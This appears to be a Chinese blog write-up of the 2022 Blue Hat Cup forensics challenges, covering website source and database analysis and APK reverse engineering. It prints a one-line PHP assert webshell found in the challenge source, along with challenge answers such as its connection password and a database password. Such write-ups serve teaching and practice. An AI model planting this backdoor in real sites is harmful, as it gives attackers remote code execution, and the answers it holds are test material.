目录

  1. 1. 前言
  2. 2. [蓝帽杯 2022 初赛]网站取证_1
  3. 3. [蓝帽杯 2022 初赛]网站取证_2
  4. 4. [蓝帽杯 2022 初赛]网站取证_3
  5. 5. [蓝帽杯 2022 初赛]程序分析_1
    1. 5.1. AndroidManifest
  6. 6. [蓝帽杯 2022 初赛]程序分析_2
  7. 7. [蓝帽杯 2022 初赛]程序分析_3
  8. 8. [蓝帽杯 2022 初赛]程序分析_4

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

蓝帽杯2022 取证

2023/9/7 MISC 取证
  |     |   总文章阅读量:

前言

练练取证

[蓝帽杯 2022 初赛]网站取证_1

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。
请从网站源码中找出木马文件,并提交木马连接的密码。

D盾扫描即可

image-20230907000516906

发现assert后门

<?php assert(@$_POST['lanmaobei666']); ?>

要求提交木马连接的密码

lanmaobei666


[蓝帽杯 2022 初赛]网站取证_2

请提交数据库连接的明文密码

全局找sql相关的文件

image-20230907164155385

在database.php中找到password

f12转到定义

image-20230907164300204

在PHP5环境下把return改成echo,然后执行这个方法可以得到密文KBLT123


[蓝帽杯 2022 初赛]网站取证_3

请提交数据库金额加密混淆使用的盐值。

[蓝帽杯 2022 初赛]程序分析_1

apk取证参考文章

现已获取某个APP程序,请您对以下问题进行分析解答。
本程序包名是?(答案参考格式:abc.xx.de)

jadx反编译apk包

反编译APK,在AndroidManifest.xml文件中,查看manifest节点下的package属性即可获取APK包名

AndroidManifest

AndroidManifest.xml文件是配置清单文件,也是编译过的文件,用来描述应用程序的清单信息。包括包名、应用名、权限、安卓四大组件、版本等重要信息都在这里面声名。

当打包应用程序时,AndroidManifest.xml 文件会自动生成,并且会被打包进 APK 文件中。当你安装应用程序时,Android 系统会读取这个文件,以确定应用程序的基本信息和权限要求。

开发者可以在 AndroidManifest.xml 文件中声明应用程序使用的权限,例如访问网络、访问文件、访问相机等。在应用程序安装时,用户会看到这些权限的描述信息,然后决定是否允许应用程序使用这些权限。

image-20230907161231395


[蓝帽杯 2022 初赛]程序分析_2

本程序的入口是?

查找android.intent.action.MAINandroid.intent.category.LAUNCHER对应的activity,该activity对应的android:name属性既是入口activity名称

android.intent.action.MAIN决定应用程序最先启动的Activity

android.intent.category.LAUNCHER决定应用程序是否显示在程序列表里

image-20230907162150968


[蓝帽杯 2022 初赛]程序分析_3

本程序的服务器地址的密文是?

上一题我们知道入口是minmtta.hemjcbm.ahibyws.MainActivity

跟踪过去

image-20230907162429958

发现一个像是密文的base64字符串

image-20230907162605281

解码发现确实是服务器地址


[蓝帽杯 2022 初赛]程序分析_4

本程序实现安全检测的类的名称是?

在MainActivity文件中发现引入了d.a.a.h模块

跟踪过去

image-20230907163445694

找到安全检测相关的字符串

则对应的类是d.a.a.c.a.a(),即名称为a